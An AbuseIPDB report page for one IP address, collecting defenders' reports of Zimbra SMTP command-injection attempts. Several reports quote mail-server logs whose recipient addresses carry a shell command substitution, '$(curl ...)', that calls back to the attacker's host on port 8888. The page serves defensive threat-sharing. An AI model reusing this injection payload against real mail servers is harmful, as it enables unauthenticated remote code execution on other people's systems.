JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 103.43.16.143

103.43.16.143 was found in our database!

This IP was reported 8 times. Confidence of Abuse is 37%: ?

37%

ISP	Jiangsu Sanai network science and technology co ,LTD
Usage Type	Data Center/Web Hosting/Transit
ASN	AS132883
Domain Name	cnaaa.com
Country	🇭🇰 Hong Kong
City	Tung Chung, Islands

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 103.43.16.143

Whois 103.43.16.143

IP Abuse Reports for 103.43.16.143:

This IP address has been reported a total of 8 times from 7 distinct sources. 103.43.16.143 was first reported on August 31st 2026, and the most recent report was 37 minutes ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
Anonymous	2026-09-02 09:05:45 (37 minutes ago)	Unauthenticated remote command injection against a Zimbra mail server (CVE-2026-73570). Sent SMTP en ... show more Unauthenticated remote command injection against a Zimbra mail server (CVE-2026-73570). Sent SMTP envelope addresses containing shell command substitution, crafted to imitate a Zimbra service-status log line so the SNMP notification handler would execute the embedded command. Observed on ports 25 and 587. Observed 2026-09-02, ongoing exploitation attempts. show less	Hacking Email Spam
🇺🇾 www.cure.edu.uy	2026-09-01 11:02:00 (22 hours ago)	/var/log/mail.log.4.gz:2026-08-31T05:46:38.376781-03:00 godel postfix/submission/smtpd[221069]: NOQU ... show more /var/log/mail.log.4.gz:2026-08-31T05:46:38.376781-03:00 godel postfix/submission/smtpd[221069]: NOQUEUE: reject: RCPT from unknown[103.43.16.143]: 554 5.7.1 <unknown[103.43.16.143]>: Client host rejected: Access denied; from=<[email protected]> to=<"x: Service status change: localhost $(curl http://103.43.16.143:8888/cb/correo.cucel.edu.uy) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid> /var/log/mail.log.4.gz:2026-08-31T07:12:05.759949-03:00 godel postfix/submission/smtpd[441305]: NOQUEUE: reject: RCPT from unknown[103.43.16.143]: 554 5.7.1 <unknown[103.43.16.143]>: Client host rejected: Access denied; from=<[email protected]> to=<"x: Service status change: localhost $(curl http://103.43.16.143:8888/cb/smtps.cup.edu.uy) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid> show less	Hacking
🇩🇪 kkeyser	2026-08-31 23:22:31 (1 day ago)	zimbra CVE-2024-45519	Hacking
🇹🇭 anuayz	2026-08-31 20:41:31 (1 day ago)	Automated RCE/log-injection exploit attempt against an email server	Web App Attack
🇧🇷 cibersecoptidata	2026-08-31 12:30:37 (1 day ago)	Zimbra SMTP command-injection attempt: RCPT TO address crafted to inject a fake Service status chang ... show more Zimbra SMTP command-injection attempt: RCPT TO address crafted to inject a fake Service status change" line into the mail log show less	Hacking
🇺🇾 www.cure.edu.uy	2026-08-31 12:24:00 (1 day ago)	Aug 30 23:46:52 dirac postfix/submission/smtpd[2674759]: NOQUEUE: reject: RCPT from unknown[103.43.1 ... show more Aug 30 23:46:52 dirac postfix/submission/smtpd[2674759]: NOQUEUE: reject: RCPT from unknown[103.43.16.143]: 554 5.7.1 <unknown[103.43.16.143]>: Client host rejected: Access denied; from=<[email protected]> to=<"x: Service status change: localhost $(curl http://103.43.16.143:8888/cb/dirac.interior.edu.uy) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid> Aug 30 23:48:40 dirac postfix/submission/smtpd[2671738]: NOQUEUE: reject: RCPT from unknown[103.43.16.143]: 554 5.7.1 <unknown[103.43.16.143]>: Client host rejected: Access denied; from=<[email protected]> to=<"x: Service status change: localhost $(curl http://103.43.16.143:8888/cb/dirac.csic.edu.uy) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid> show less	Hacking
🇱🇻 bonux-s	2026-08-31 06:47:00 (2 days ago)	Zimbra SMTP command injection attempt ..	Hacking
Anonymous	2026-08-31 04:59:40 (2 days ago)	Zimbra SMTP command injection attempt	Hacking Web App Attack

Showing 1 to 8 of 8 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇸🇬 107.150.112.48

🇩🇪 91.92.240.38

🇹🇷 88.238.105.143

🇺🇸 82.117.89.135

🇻🇪 66.9.161.197

🇨🇳 47.109.134.2

🇸🇪 46.59.91.85

🇬🇧 45.82.76.139

🇻🇳 14.225.52.228

🇺🇸 2604:a880:400:d1:0:4:e8e3:3001

🇨🇳 221.201.24.99

🇳🇱 204.76.203.221

🇵🇰 202.47.53.194

🇷🇴 193.46.255.86

🇫🇷 144.91.121.61

🇬🇧 89.238.165.139

🇮🇶 65.20.132.230

🇩🇪 45.82.81.212

🇪🇬 41.178.230.115

🇦🇷 186.123.136.217